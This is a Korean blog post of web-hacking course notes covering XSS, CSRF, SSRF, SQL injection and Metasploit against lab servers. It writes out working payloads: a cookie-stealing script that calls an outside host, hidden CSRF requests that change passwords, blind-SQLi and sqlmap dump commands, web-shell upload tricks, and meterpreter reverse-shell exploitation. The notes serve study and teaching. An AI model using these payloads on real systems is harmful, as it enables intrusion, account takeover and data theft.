320x100

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

210.121.193.52 : 테스트 서버

http://192.168.1.29/ : 테스트 서버

http://210.121.193.53/gmshop/ : 테스트 하기 좋은 사이트

진단 필요한 툴

  • Set character encoding : 화면이 깨져 보일때 사용할 수 있는 크롬 확장자 → Korean EUCKR 선택
  • 드래그프리 : 사이트 복사하기 힘들때 사용하는 크롬 확장프로그램
  • powertoys : 캡처할때 캡처 안되는 그림파일 같은 것들을 캡쳐해서 붙여넣기 하면 텍스트로 붙여넣어짐
  • editcookies : 세션 값을 보는법 크롬 확장프로그램

XSS vs CSRF 주관식 (비교) 서술해야함

XSS

세션을 탈취, 악성코드 연결

Reflective XSS

  • 클릭을 유도

Stored XSS

  • 게시물을 보게 하는 것

 

세션 값을 보는법

크롬 확장앱 : editcookies

개발자모드 → 어플리케이션 → 쿠키를 통해 쿠키값을 확인 할 수 있고 수정 할 수 있다.

 

개발자모드 → 네트워크 들어가서 웹 페이지를 새로고침을 하면 시간적 요소도 볼 수 있다.

이것을 통해 어디서 지연이 생기는지 파악할 수 있다.

 

실습 4 SQLi 로 인증우회 (실습안함)

실습 4 SQLi 로 인증우회

  1. 관리자 페이지 찾기

구글검색 or Nikto or Nmap or OWASP-ZAP 등

nikto -h http://210.121.193.52 (취약점과 중요 경로) nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용) nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52 nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '

스크립트 문자열 우회방법

(1)

아래와 같이 겹쳐쓰면, script 하나가 필터링되고 나머지가 붙으면서 스크립트가 실행이 된다.

<input type="text" name="w" value=" "><script>alert(document.cookies);</script>-- " size="15">

<script scr= "http://210.121.193.53/a.js></script>

이 코드는 외부 JavaScript 파일을 불러오는 데 사용됩니다.

시나리오

    1. 브라우저에서 테스트1 / 1111 으로 로그인을 한다.
    2. 새로운 브라우저를 열어 위의 쿠키값을 개발자모드 → 응용프로그램 → 쿠키값에 붙여넣기
      • Metasploitable2
      • bee-box

실습 5 XSS

    1. 210.121.193.52

      쿠키를 attacker에게 전송한는 스크립트로 게시물 내용에 적어 넣으면 됩니다. 크기가 0인 이미지이므로 보이지는 않습니다.

      [공격 실습] <script src= "http://210.121.193.53/a.js"></script>

      <a.js> document.write("<iframe src='http://210.121.193.53/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

CSRF 실습

210.121.193.52/login/member_modify.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>

(시나리오)

test2 가 스크립트 게시물을 읽을 경우 test1 의 정보를 불러와서 (주민번호를 제외한) 나머지 정보 수정할 때 적었던 내용들이 모두 test1 의 정보로 변경이 된다.

실습 6 CSRF

CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://~ " width=0 height=0> 으로 안보이는 이미지로 변환

다음을 게시물에 입력 <img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>


내 비밀번호는 안전할까?

https://www.security.org/how-secure-is-my-password/

숫자는 101010 ……. 총 자리 수 이런식으로 계산된다.


엔터프라이즈관리자 : DB를 관리하는 도구

SQL server _ server 그룹 _ local _ 데이터베이스 _ camel _ 테이블 → 모든사용자

http://210.121.193.52/[board/index.asp](http://192.168.145.136/board/index.asp)?cmd=view&gubun=gel&info_idx=3 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc), 1,1)) =97

실습7 Blind SQLi

실습7 blind SQL 인젝션

  1. 에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
  2. 문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
  3. blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
  4. ==> blind sql 인젝션 가능성 확인
  5. 아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
  6. substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
  7. between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
  8. 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
  9. 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다. 첫번째 테이블의 첫번째 글자 = a

  1. ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
  2. 세번째~ 글자를 모두 찾는다. 테이블 명 = admin
  3. 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

  1. 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
  2. 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
  3. 번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

  1. 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122

SQL map

쿠키를 가져와서 URL에 삽입한다.

sqlmap -u "http://192.168.1.23///board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db

실습 8 SQL map

실습8 SQL map

kali > sqlmap

  1. 취약한 부분 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI"
  2. db 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db
  3. table명 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -tables
  4. data 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -T member -dump

우회 방법

php;.jpg

php.x

asp.kr

inc

웹쉘 사용

http://210.121.193.52/board/upload

이러한 방식으로 웹쉘을 실행해서 내가 원하는 작업을 할 수 있다.

실습 10 파일다운로드

웹쉘 파일 압축 플어서 업로드

실습 11 Metasploit

kali 192.168.145.129 camel 192.168.145.136

nmap -sV 192.168.145.136

nmap --script vuln 192.168.145.136

smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).

msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run

back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell

300x250
320x100
  • 윈도우서버 2019 설치

윈도우 서버 2019는 마이크로소프트에서 개발한 서버 운영 체제입니다. 이 운영 체제는 다양한 서버 기반의 작업을 수행하기 위해 설계되었으며, 기업 및 기관에서 주로 사용됩니다.

 

* 가상 머신(VMware)에서 Player -> manage -> virtual machine setting - CD/DVD - use ISO image file - > browser → 다운 받은 Window 2019 ISO파일 선택

  • IIS 설치

IIS(Internet Information Services)는 마이크로소프트의 웹 서버 소프트웨어입니다. 이를 통해 웹 사이트를 호스팅하고, 웹 애플리케이션을 운영할 수 있습니다. IIS를 설치하면 웹 서버 기능을 사용하여 다양한 웹 서비스를 제공할 수 있습니다.

  • MSSQL 2019 설치

MSSQL(마이크로소프트 SQL 서버)은 데이터베이스 관리 시스템(DBMS)으로, 데이터베이스를 생성하고 관리하는 데 사용됩니다. MSSQL 2019는 최신 버전 중 하나로, 다양한 데이터 저장 및 처리 기능을 제공합니다. 이를 통해 애플리케이션에서 데이터를 효율적으로 관리할 수 있습니다.

 

이 세 가지 요소는 함께 사용되어 웹 애플리케이션을 구축하고 운영하는 데 필요한 기본적인 인프라를 제공합니다. 예를 들어, IIS에서 웹 사이트를 호스팅하고, MSSQL에서 데이터를 관리함으로써 동적인 웹 서비스를 제공할 수 있습니다.

 


Web proxy tool (burp suite)

프록시설정 -> 프록시 서버 사용 켬 

 

로컬 리스트 127.0.0.1

포트 8080

 

웹브라우저에서 요청시 burp suite 로 인터셉트 -> 코드 점검&수정 -> forward -> 브라우저 접속

 

* 만약 8080 포트를 다른곳에서 사용하고 있으면 충돌이 나서 burp suite가 정상작동 되지 않을 수 있다. → 8080 포트에 연결되어 있는 프로그램을 내리거나 포트를 임의로 정해서 바꿔줄 수 있다.

 

proxy- options - proxy listener - edit 8080포트를 예를들어 8888 으로 바꾼다. 이렇게 변경 할 경우, 수동 프록시 설정 포트도 동일한 값으로 바꿔야한다.

 


WAR GAME

  • 클라이언트 사이드에서 해결하는법

브라우저 요청 -> burp suite 인터셉트 -> 코드 수정 -> forward -> 통과

 

  • 서버 사이드에서 해결하는법

브라우저 요청 -> 새로고침 -> burp suite 인터셉트 -> HTML 코드 수정 -> forward -> 통과

 


OWASP TOP 10

Open Web Application Security Project에 따라 악용가능성, 탐지가능성 및 영향에 대해 빈도수가 높고 보앆상 영향을 크게 줄 수 있는 10가지 웹 애플리케이션 보앆 취약점 목록

  • A01 : Broken Access Control (접근 권한 취약점)
  • A02 : Cryptographic Failures (암호화 오류)
  • A03: Injection (인젝션)
  • A04: Insecure Design (안전하지 않은 설계)
  • A05: Security Misconfiguration (보안설정오류)
  • A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
  • A07: Identification and Authentication Failures (식별 및 인증 오류)
  • A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
  • A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
  • A10: Server-Side Request Forgery (서버 측 요청 위조)

CROSS SITE SCRIPT(XSS)

 

사용자 요청에 의해 검증되지 않은 외부 입력 데이터(악의적/부적절한 스크립트)가 포함된 동적 웹페이지가 생성/전송되는 경우, 사용자가 해 당 동적 웹페이지를 열람함으로써 웹페이지에 포함된 악의적/부적절한 스크립트가 실행되는 공격이다.

- 악의적인 사용자가 게시글을 업로드하고 관리자가 게시글을 읽으면 cookies값이 해커에게 넘어간다. 

 

공격 시나리오

  • 사용자의 개인정보 탈취 : Keylogger 형태의 스크립트를 사용하여 키보드 입력값 탈취
  • 사용자의 쿠키정보 탈취 : document.cookie를 사용하여 해당 사용자의 쿠키/세션값 탈취
  • 악성코드 다운로드 또는 실행 : 악성코드 다운로드 링크 연결, 낮은 보안 수준에서의 자동실행
  • 피싱 사이트로 강제 이동 : location.href 등을 사용하여 페이지 강제 이동

*토막상식 : drm은 문서가 외부로 유출되었을때 열리지 않게 암호화를 하는 것

 

공격종류

 

Reflected XSS (반사형 크로스사이트 스크립팅),

Stored XSS (저장형 크로스사이트 스크립팅),

DOM Based XSS (DOM 기반 크로스사이트 스크립팅)

 

 


Stored XSS (저장형 크로스사이트 스크립팅)  - 서버와 통신 // 게시판에 삽입

 

악성 스크립트가 서버에 저장된 후, 다른 사용자가 해당 스크립트가 포함된 데이터를 요청할 때 실행되는 공격 방식입니다. 이 유형의 XSS는 일반적으로 데이터베이스에 사용자 입력이 저장되는 경우 발생합니다.

 

공격 과정

  1. 악성 스크립트 입력: 공격자는 웹 애플리케이션의 입력 필드(예: 댓글, 게시물, 프로필 등)에 악성 JavaScript 코드를 포함하여 데이터를 입력합니다. 예를 들어, <script>alert('XSS');</script>와 같은 코드를 입력할 수 있습니다.
  2. 서버에 저장: 입력된 데이터는 서버의 데이터베이스에 저장됩니다. 이때, 입력 값에 대한 검증이나 인코딩이 이루어지지 않으면, 악성 스크립트가 그대로 저장됩니다.
  3. 다른 사용자 요청: 이후 다른 사용자가 해당 데이터에 접근할 때(예: 댓글 목록 보기), 웹 애플리케이션은 저장된 데이터를 불러와 웹 페이지에 표시합니다.
  4. 스크립트 실행: 사용자의 브라우저는 페이지를 렌더링하면서 저장된 악성 스크립트를 실행하게 됩니다. 이를 통해 공격자는 사용자 세션 정보, 쿠키, 기타 민감한 정보를 탈취할 수 있습니다.

Reflected XSS (반사형 크로스사이트 스크립팅) - 서버와 통신 // 파라미터에 삽입

 

공격자가 악성 스크립트를 포함한 URL을 생성하고 이를 사용자가 클릭하게 하여, 해당 스크립트가 웹 페이지에서 실행되도록 하는 공격 방식입니다

 

사용자의 브라우저는 이 페이지를 로드하면서 악성 스크립트를 실행하게 됩니다. 반사형 XSS의 주요 특징은 악성 코드가 서버에 저장되지 않고, 요청과 응답 과정에서 즉각적으로 반사된다

 

 


DOM Based XSS (DOM 기반 크로스사이트 스크립팅) - 서버와 통신하지 않는다

 

DOM Based XSS(=type-0 XSS)는 피해자의 브라우저에서 DOM 환경을 수정하여 클라이언트 측 코드가 예상치 못한 방식으로 공격 구문이 실행되는 XSS(Cross Site Scripting) 공격입니다. 즉, 페이지 자체(HTTP 응답)는 변경되지 않지만, 페이지에 포함된 클라이언트 측 코드는 DOM환경에서 발생한 악의적인 변조로 인해 공격 구문이 실행됩니다.

 

  • 브라우저 자체에서 DOM을 통해서 실행이 된다.
  • 일반적으로 메일의 링크를 통해서 전달 -> 사용자가 악의적인 링크를 클릭하도록 유도

 

  • DOM 기반 XSS 공격 시나리오

- 악의적인 사용자가 보안이 취약한 웹 페이지를 발견했습니다.
- 보안이 취약한 웹 페이지에서 악성 스크립트가 실행되도록 URL 주소를 만들어 일반 사용자에게 전달합니다.
- 일반 사용자는 메일 등을 통해 전달받은 URL 링크를 클릭합니다. 서버로부터 HTML 문서를 전달받습니다.
- 사용자의 브라우저가 응답 받은 HTML 문서를 읽으면서 필요한 스크립트를 실행하는 중에 악성 스크립트가 동작합니다.
- 악성 스크립트를 통해 사용자 정보가 악의적으로 전달됩니다

 

기존 페이지

 

DOM 기반 XSS공격


Cross Site Script (CSRF) - client side

Cross Site Request Forgery, 웹사이트 취약점 공격의 하나로, 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.

ex) 회원 정보 수정, 데이터 수정 또는 삭제, 비방/욕 댓글

 

- 해커의 악의적인 스크립트 게시글을 관리자가 읽으면 관리자 계정의 비밀번호가 해커가 설정한 비밀번호로 바뀔 수 있다.

- 클라이언트 사이드에서 계정정보를 바꾸는 공격 -> 클라이언트의 정보가 목표, 서버의 공격이 아니다.

 

강사가 올린 XSS관련 텍스트 파일을 가져오기 위한 작업

 

 

  • 해커가 아래 스크립트를 이용해 악의적인 게시글(본문에 스크립트 삽입)을 작성한다.
  • 관리자가 게시글을 읽으면 아래의 스크립트에서 설정한 것처럼 관리자 계정의 비밀번호가 12345 로 바뀐다.
<form action="http://freehack.bug/member/member_modify.php3" method="post" name="join"><input type="password" name="pass" value="12345" /><input type="password" name="pass2" value="12345" /><input type="text" name="username" value="Admin" /><input type="text" size=30 name="email" value="admin@freehack.com" /><input type="text" size=80 name="addr" value="Korea!!" /><input type="text" size=5 name="zipcode1" value="111" /><input type="text" size=5 name="zipcode2" value="222"/><textarea name="comment" rows="5" cols="50">Hacked by Kioo</TEXTAREA></form><script>document.join.submit();</script>

 


Server Side Request Forgery (SSRF) - server side

SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청 을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가 원하는 형태의 악성 행위를 서버에 던져주면 서버가 검증 없이 그대로 받아 그의 따른 행동/응답을 해주는 공격

 

* 공격자가 내부망에 있는 서버를 접근 하기 위해서는 직접 접근은 불가 (방화벽, IDS, IPS …. 등) 보안장치가 많다. 심지어 해커(공인아이피)에서 server(사설아이피) 가 보이지도 않는다.

-> 중간에 있는 server의 취약점(매개체역할)을 통해 서버(사설 아이피)를 공격할 수 있다.

실습에서 freehack.bug - 가운데 서버 hacker.bug - 오른쪽 서버
기존 index.html

 

SSRF공격을 통해 hacker.bug의 index.html 텍스트(Hacker Page)를 웹 브라우저에 삽입 시킬 수 있다.

공격당한 사례

또는 

 

아래와 같은 방법으로 SSH version 정보를 확인할 수 있다. - 다양한 방법으로 사용가능

 


보안대책

  • 내부 시스템과 상호 작용하는 변수에 불필요한 값이 입력될 경우 무효처리를 해야 됨
  • 변수에 입력된 주소가 올바른 주소가 맞는지 즉 신뢰하는 주소가 맞는지 재검증을 해야 됨

실습에서 hacker.bug 가 믿어도 되는 URL인지 확인할 수 있는 로직을 삽입해야한다.

접근할 수 있는 사이트만 접근할 수 있게하고 접근하면 안되는 사이트는 전부 거절 (화이트리스트)

정상적인 요청으로 공격하기 때문에 웹 방화벽에서 통제가 되지 않는다.

  • 여러 우회 공격 기법 중 대상 사이트에 대한 신뢰할 수 있는 도메인과 루프백 주소를 매칭하여 지정해둔 도메인을 요청하는 경우가 존재하기 때문에 요청 시 도메인 이름에 대한 검증도 수행

300x250
320x100

Cross Site Request Forgery (CSRF)  임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점

 

Example.

이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기합니다.

 

CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 합니다.

 

 ** 위에서 말하는 악성 스크립트는 HTTP 요청을 보내는 코드

 

CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있습니다. 아래 사진 및 코드는 HTML으로 작성한 스크립트의 예시입니다.

 

이미지를 불러오는 img 태그를 사용하거나 웹 페이지에 입력된 양식을 전송하는 form 태그를 사용하는 방법이 있습니다. 이 두 개의 태그를 사용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됩니다.

 

 

 

아래 코드 img 태그를 사용한 스크립트의 예시입니다. 해당 태그는 이미지의 크기를 줄일 수 있는 옵션을 제공합니다. 이를 활용하면 이용자에게 들키지않고 임의 페이지에 요청을 보낼 수 있습니다.

<img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>

 

 

아래 코드는 Javascript로 작성된 스크립트의 예시입니다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능합니다.

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');

 

 

XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사합니다. 

두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 합니다

 

//차이점 

 

- XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킵니다.

 

- CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격입니다. 또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있습니다.

 

키워드

 

  • Cross Site Request Forgery (CSRF): 사이트 간 요청 위조. 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격.

 

 

Q1. 서버에서 이용자를 식별하기 위해 쿠키를 사용하고 있어야 CSRF 취약점으로 공격할 수 있다.

O

 

Q2. 브라우저는 CSRF 취약점을 방지하기 위한 보안 메커니즘을 제공한다.
O

 

Q3. CSRF 공격이 불가능할 때 XSS 공격도 불가능하다.
X
 
Q4. 서버에서 HTTP의 GET 메소드가 아닌 POST 메소드로 데이터를 받으면 CSRF에 안전하다.
 

X

dreamhack web hacking 강의를 기반으로 작성되었습니다.

300x250

+ Recent posts